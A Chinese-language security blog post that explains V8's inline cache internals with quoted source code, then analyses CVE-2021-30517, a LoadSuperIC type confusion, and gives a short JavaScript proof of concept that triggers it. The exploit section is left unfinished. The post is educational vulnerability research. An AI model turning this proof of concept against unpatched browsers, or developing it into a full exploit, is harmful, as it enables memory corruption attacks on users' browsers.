Skip to main content

V8 内联缓存机制及漏洞

·4098 words·9 mins·
CTF PWN V8 JavaScript
Table of Contents

本文站在巨人肩膀上浅析 V8 中的内联缓存机制,并以一个典型例子分析其实际漏洞。

内联缓存机制概述
#

内联缓存(Inline Cache,IC)是V8 引擎用于优化 JavaScript 属性访问性能的技术。V8 通过 IC 在代码的特定调用点缓存对象的形状(Shape,或称隐藏类,Hidden Class),从而加速后续的属性访问。

const object1 = { x: 1, y: 2 };
const object2 = { x: 3, y: 4 };
// `object1` and `object2` have the same shape.

All JavaScript engines use shapes as an optimization, but they don’t all call them shapes:

  • Academic papers call them Hidden Classes (confusing w.r.t. JavaScript classes)
  • V8 calls them Maps (confusing w.r.t. JavaScript Maps)

V8 中称之为 map ,因此下文全部采用 map。

添加属性的顺序会影响 map。例如, { x: 4, y: 5 }{ y: 5, x: 4 } 生成的 map 不同。

关于 map 的更多介绍,可以参考V8中的隐藏类(Hidden Classes)和内联缓存(Inline Caching)一文。一言以蔽之,当对象共享 map 的时候,内联缓存能够省略 map 的查找过程来优化访存过程。

IC 通过 FeedbackVector 收集运行时的属性访问信息(如对象类型、属性名等),并据此优化后续执行。IC 根据对象的 map 和状态生成 handler,handler 是快速执行属性访问的代码片段。

FeedbackVector 缓存了 map 和与之对应的 handler ,IC 相关的逻辑就可以简化为通过访问 FeedbackVector 即可判断是否 IC Hit 并执行对应的 handler。

IC 有三种状态(未初始化除外):

  1. 单态 IC:IC 在该位置只检测到一种 map 的对象
  2. 多态 IC:IC 在同一位置发现第二个不同的对象 map
  3. 超态 IC:IC 在同一位置发现太多不同的对象 map(在 V8 中,单个调用点超过 4 个)

当对象的类型或属性访问模式发生变化时,IC 会动态调整状态并更新缓存。例如:

  • 单态 → 多态:当遇到新 map 时扩展缓存。
  • 多态 → 超多态:当 map 过多时放弃优化。

源码
#

https://github.com/v8/v8/tree/main/src/ic

核心:ic.cc, ic.h, ic-inl.h

IC is the base class for LoadIC, StoreIC, KeyedLoadIC, and KeyedStoreIC.

基类
#

IC类是 Inline Cache 机制的基类,所有具体的 IC 类型(例如上面几个)都继承自它,包括状态管理、缓存更新、处理器计算等功能。

下面介绍类的几个核心功能。

构造函数
#

IC::IC(Isolate* isolate, Handle<FeedbackVector> vector, FeedbackSlot slot,
       FeedbackSlotKind kind)
    : isolate_(isolate),
      vector_set_(false),
      kind_(kind),
      target_maps_(isolate),
      target_maps_set_(false),
      slow_stub_reason_(nullptr),
      nexus_(isolate, vector, slot) {
  DCHECK_IMPLIES(!vector.is_null(), kind_ == nexus_.kind());
  state_ = (vector.is_null()) ? NO_FEEDBACK : nexus_.ic_state();
  old_state_ = state_;
}
  1. 首先设置 V8 隔离实例 (isolate_) 和反馈向量接口 (nexus_)
  2. 设置初始化目标Map列表 (target_maps_) 和相关标志,用于属性访问缓存
  3. 设置vector_set_slow_stub_reason_,用于动态更新反馈向量和处理慢路径(超态IC)。
  4. 通过DCHECK断言确保 kind 与反馈向量的类型一致,防止配置错误。
  5. 如果vector为空,state_=NO_FEEDBACK:表示 IC 尚未收集到运行时信息,无法进行优化,通常发生在代码首次执行时;如果vector不为空,state_ = nexus_.ic_state()ic_state()方法返回反馈向量中存储的当前 IC 状态(如单态、多态等),这些状态基于之前的运行时数据。

状态管理
#

IC 使用反馈向量(FeedbackVector)和槽(FeedbackSlot)记录属性访问的反馈信息,从而加速后续访问。

对不同状态IC的配置是通过函数重载实现的:

bool IC::ConfigureVectorState(IC::State new_state, DirectHandle<Object> key) {
  DCHECK_EQ(MEGAMORPHIC, new_state);
  DCHECK_IMPLIES(!is_keyed(), IsName(*key));
  bool changed = nexus()->ConfigureMegamorphic(
      IsName(*key) ? IcCheckType::kProperty : IcCheckType::kElement);
  if (changed) {
    OnFeedbackChanged("Megamorphic");
  }
  return changed;
}

将 IC 切换到超态,放弃具体类型缓存,退化到慢路径。

void IC::ConfigureVectorState(DirectHandle<Name> name, DirectHandle<Map> map,
                              DirectHandle<Object> handler) {
  ConfigureVectorState(name, map, MaybeObjectDirectHandle(handler));
}

void IC::ConfigureVectorState(DirectHandle<Name> name, DirectHandle<Map> map,
                              const MaybeObjectDirectHandle& handler) {
  if (IsGlobalIC()) {
    nexus()->ConfigureHandlerMode(handler);
  } else {
    // Non-keyed ICs don't track the name explicitly.
    if (!is_keyed()) name = Handle<Name>::null();
    nexus()->ConfigureMonomorphic(name, map, handler);
  }

  OnFeedbackChanged(IsLoadGlobalIC() ? "LoadGlobal" : "Monomorphic");
}

配置单态 IC,缓存单一map(对象隐藏类)和handler(快速执行代码),提供最高性能的属性访问。适用于对象类型稳定的场景(如obj.x始终访问同一类型对象)。

  1. 对于全局 IC(如LoadGlobalICStoreGlobalIC),调用nexus()->ConfigureHandlerMode(handler):仅设置handler,不存储 mapname,因为全局属性访问依赖全局对象。全局 IC 通常处理全局变量访问(如window.x)。
  2. 对于非全局 IC :将单一maphandler存储到反馈向量;如果是键控 IC(如KeyedLoadIC),name用于验证缓存命中。
void IC::ConfigureVectorState(DirectHandle<Name> name, MapHandlesSpan maps,
                              MaybeObjectHandles* handlers) {
  DCHECK(!IsGlobalIC());
  MapsAndHandlers maps_and_handlers(isolate());
  maps_and_handlers.reserve(maps.size());
  DCHECK_EQ(maps.size(), handlers->size());
  for (size_t i = 0; i < maps.size(); i++) {
    maps_and_handlers.emplace_back(maps[i], handlers->at(i));
  }
  ConfigureVectorState(name, maps_and_handlers);
}
void IC::ConfigureVectorState(DirectHandle<Name> name,
                              MapsAndHandlers const& maps_and_handlers) {
  DCHECK(!IsGlobalIC());
  // Non-keyed ICs don't track the name explicitly.
  if (!is_keyed()) name = Handle<Name>::null();
  nexus()->ConfigurePolymorphic(name, maps_and_handlers);

  OnFeedbackChanged("Polymorphic");
}

配置多态 IC,缓存多个maphandler,支持有限类型(通常 ≤4)的属性访问。适用于对象类型多样但可控的场景(如obj.x访问几种不同类型的对象)。实现逻辑如下:

  1. 第一方法:

    • 确保非全局 IC(!IsGlobalIC(),全局 IC 通常为单态或超态)。

    • 创建MapsAndHandlers容器,存储mapshandlers配对(数量相等)。

    • 遍历mapshandlers,存入容器,调用第二方法。

  2. 第二方法:

    • 非键控 IC 将name设为 null

    • 调用nexus()->ConfigurePolymorphic(name, maps_and_handlers),将name和多组maphandler存入反馈向量。

    • 调用OnFeedbackChanged("Polymorphic"),通知反馈向量更新。

反馈向量内容:

  • 存储 [name, map1, handler1, map2, handler2, ...],占用多个槽。
  • 键控 IC 保留name(如数组索引),非键控 IC 忽略name

handler 管理
#

handler 是 V8 Inline Cache (IC) 系统中缓存属性访问快速执行路径的机器码或元数据(如属性偏移量或访问器),绑定对象 map,用于加速属性加载(如 obj.x)或存储(如 obj.x = value)。

bool IC::RecomputeHandlerForName(DirectHandle<Object> name) {
  if (is_keyed()) {
    // Determine whether the failure is due to a name failure.
    if (!IsName(*name)) return false;
    Tagged<Name> stub_name = nexus()->GetName();
    if (*name != stub_name) return false;
  }

  return true;
}

检查是否需要为属性名(name)重新计算 handler。比较当前 IC 状态和反馈向量中的缓存,若 handler 与对象 Map 或 name 不匹配,返回 true,触发重新生成。确保 handler 与运行时上下文一致,避免使用失效缓存。

void MarkRecomputeHandler(DirectHandle<Object> name) {
    DCHECK(RecomputeHandlerForName(name));
    old_state_ = state_;
    state_ = InlineCacheState::RECOMPUTE_HANDLER;
} 

标记需要为属性名(name)重新计算 handler。确认需重计算后,保存当前状态到 old_state_,设置 state_ = RECOMPUTE_HANDLER,为后续生成新 handler 做准备。支持动态更新缓存以适应类型变化。

bool IC::IsHandler(Tagged<MaybeObject> object) {
  Tagged<HeapObject> heap_object;
  return (IsSmi(object) && (object.ptr() != kNullAddress)) ||
         (object.GetHeapObjectIfWeak(&heap_object) &&
          (IsMap(heap_object) || IsPropertyCell(heap_object) ||
           IsAccessorPair(heap_object))) ||
         (object.GetHeapObjectIfStrong(&heap_object) &&
          (IsDataHandler(heap_object) || IsCode(heap_object)));
}

判断对象是否为有效 IC handler。检查 object 是否为 Code 或特定元数据(如偏移量)。用于验证反馈向量中的 handler,确保存储和执行的 handler 有效。

handler 生成时根据 Map 和访问模式创建(如 JIT 编译)。存储通过FeedbackNexus::ConfigureMonomorphic(单态,存 [name, map, handler][map, handler])或 ConfigurePolymorphic(多态,存 [name, map1, handler1, ...])。超态不存具体 handler,标记 MEGAMORPHIC 退化慢路径。更新由 RecomputeHandlerForName 检测失效,MarkRecomputeHandler 标记后通过 ConfigureVectorState 配置新 handler。验证用 IsHandler 确保有效性。

派生类
#

以下是 V8 引擎中从IC类派生出来的几个子类,它们分别用于优化不同类型的 JavaScript 操作

  1. LoadIC:读取对象静态属性(如 obj.prop
  2. LoadGlobalIC:读取全局变量(如 alert
  3. KeyedLoadIC:用动态 key 读取属性(如 obj[key]arr[i]
  4. StoreIC:写入对象静态属性(如 obj.prop = val
  5. StoreGlobalIC:写入全局变量(如 x = 1
  6. KeyedStoreIC:用动态 key 写入属性(如 obj[key] = val
  7. StoreInArrayLiteralIC:给数组字面量元素赋值(如 [1, 2, foo()] 中的 foo()

CVE-2021-30517
#

这个漏洞可以说是后续多个 IC 漏洞的始祖,CVE-2021-38001、CVE-2022-1134等都与其有异曲同工之妙。

漏洞成因
#

https://issues.chromium.org/issues/40055688

accessor-assembler.cc

void AccessorAssembler::LoadSuperIC(const LoadICParameters* p) {
  ExitPoint direct_exit(this);

  TVARIABLE(MaybeObject, var_handler);
  Label if_handler(this, &var_handler), no_feedback(this),
      non_inlined(this, Label::kDeferred), try_polymorphic(this),
      miss(this, Label::kDeferred);

  GotoIf(IsUndefined(p->vector()), &no_feedback); <------- [0]

  // The lookup start object cannot be a SMI, since it's the home object's
  // prototype, and it's not possible to set SMIs as prototypes.
  TNode<Map> lookup_start_object_map =
      LoadReceiverMap(p->lookup_start_object());
  GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss);

  TNode<MaybeObject> feedback = <------- [1]
      TryMonomorphicCase(p->slot(), CAST(p->vector()), lookup_start_object_map,
                         &if_handler, &var_handler, &try_polymorphic);

  BIND(&if_handler); <------- [2]
  {
    LazyLoadICParameters lazy_p(p);
    HandleLoadICHandlerCase(&lazy_p, CAST(var_handler.value()), &miss,
                            &direct_exit);
  }

  BIND(&no_feedback); <------- [3]
  { LoadSuperIC_NoFeedback(p); }

  BIND(&try_polymorphic); <------- [4]
  TNode<HeapObject> strong_feedback = GetHeapObjectIfStrong(feedback, &miss);
  {
    Comment("LoadSuperIC_try_polymorphic");
    GotoIfNot(IsWeakFixedArrayMap(LoadMap(strong_feedback)), &non_inlined);
    HandlePolymorphicCase(lookup_start_object_map, CAST(strong_feedback),
                          &if_handler, &var_handler, &miss);
  }

  BIND(&non_inlined); <------- [5]
  {
    // LoadIC_Noninlined can be used here, since it handles the
    // lookup_start_object != receiver case gracefully.
    LoadIC_Noninlined(p, lookup_start_object_map, strong_feedback, &var_handler,
                      &if_handler, &miss, &direct_exit);
  }

  BIND(&miss); <------- [6]
  direct_exit.ReturnCallRuntime(Runtime::kLoadWithReceiverIC_Miss, p->context(),
                                p->receiver(), p->lookup_start_object(),
                                p->name(), p->slot(), p->vector());
}

[0] 如果没有 feedback vector,则走 no_feedback 分支,调用 LoadSuperIC_NoFeedback(),由于 Lazy feedback allocation,开始几次的路径是[0]->[3],最终的漏洞路径[0]->[1]->[4]->[5][0]->[1]中间的代码获取 lookup_start_object 的 Map

[1] 调用 TryMonomorphicCase,从 FeedbackVector 中读取指定 slot 的缓存信息。如果缓存命中当前对象 Map(lookup_start_object_map),将匹配的 handler 存入 var_handler 并跳转到 if_handler 分支

[2] if_handler 分支,CAST(var_handler.value()) 传入HandleLoadICHandlerCase,是 p->lookup_start_object() 的handler

void AccessorAssembler::HandleLoadICHandlerCase(
    const LazyLoadICParameters* p, TNode<Object> handler, Label* miss,
    ExitPoint* exit_point, ICMode ic_mode, OnNonExistent on_nonexistent,
    ElementSupport support_elements, LoadAccessMode access_mode) {
  Comment("have_handler");

  TVARIABLE(Object, var_holder, p->lookup_start_object());
  TVARIABLE(Object, var_smi_handler, handler);

  Label if_smi_handler(this, {&var_holder, &var_smi_handler});
  Label try_proto_handler(this, Label::kDeferred),
      call_handler(this, Label::kDeferred);

  Branch(TaggedIsSmi(handler), &if_smi_handler, &try_proto_handler);

  BIND(&try_proto_handler);
  {
    GotoIf(IsCodeMap(LoadMap(CAST(handler))), &call_handler);
    HandleLoadICProtoHandler(p, CAST(handler), &var_holder, &var_smi_handler,
                             &if_smi_handler, miss, exit_point, ic_mode,
                             access_mode);
  }

  // |handler| is a Smi, encoding what to do. See SmiHandler methods
  // for the encoding format.
  BIND(&if_smi_handler);
  {
    HandleLoadICSmiHandlerCase(
        p, var_holder.value(), CAST(var_smi_handler.value()), handler, miss,
        exit_point, ic_mode, on_nonexistent, support_elements, access_mode);
  }

  BIND(&call_handler); <------- [6]
  {
    exit_point->ReturnCallStub(LoadWithVectorDescriptor{}, CAST(handler),
                               p->context(), p->receiver(), p->name(),
                               p->slot(), p->vector());
  }
}

如果 handler 是一个 Code 对象(也就是缓存中的 handler 是直接可调用的 stub,缓存的机器码),程序会走到[6]处。

然而在[6]处,却让 p->receiver() 用了 p->lookup_start_object() 的 handler。当 lookup_start_object ≠ receiver 时,会造成类型混淆。

漏洞利用
#

PoC
#

function main() {
    class C {
        m() {
            super.prototype
        }
    }
    function f() {}
    C.prototype.__proto__ = f

    let c = new C()
    c.x0 = 1
    c.x1 = 1
    c.x2 = 1
    c.x3 = 1
    c.x4 = 0x42424242 / 2

    f.prototype
    c.m()
}
for (let i = 0; i < 0x100; ++i) {
    main()

C.prototype.__proto__ = f 设置了一个异常的原型链,现在原型链是:

C实例 -> C.prototype -> f (函数) -> Function.prototype -> Object.prototype

当执行super.prototype时:

  1. super指向: C.prototype.__proto__,即函数f
  2. 查找prototype: 在函数f上查找prototype属性
  3. 结果: 应该返回f.prototype

f.prototype 是直接在函数对象上查找;super.prototype 是通过 super 机制,实际是在lookup_start_object(即f)上查找。

但是当 LoadSuperIC 生成(main运行个100多次就有了)时,查找prototype这个操作对应的handler被作用在了C而不是f上。

// 在LoadSuperIC中
// lookup_start_object 就是函数 f
TNode<Map> lookup_start_object_map = LoadReceiverMap(p->lookup_start_object());
// 在 HandleLoadICHandlerCase 中
// receiver 为 C
BIND(&call_handler); <------- [6]
  {
    exit_point->ReturnCallStub(LoadWithVectorDescriptor{}, CAST(handler),
                               p->context(), p->receiver(), p->name(),
                               p->slot(), p->vector());
  }

gdb

如图可以看到是生成了一个查询 ProtoType 的 handler,本该用于JSFunction ,由于上述漏洞代码混淆了 holder 和 receiver 导致其被用于 JS_OBJECT

EXP
#

TBD

参考
#

BeaCox
Author
BeaCox
Stay humble, remain critical.

Related

从 RWCTF2022 Digging into kernel 1 & 2 学内核提权方法
·2984 words·6 mins
CTF PWN Kernel Source Code ROP UAF
UIUCTF 2024 PWN Writeup
·6286 words·13 mins
CTF PWN
从 pwnable.tw——3x17 学习 .fini_array
·1289 words·3 mins
CTF PWN ROP .Fini_array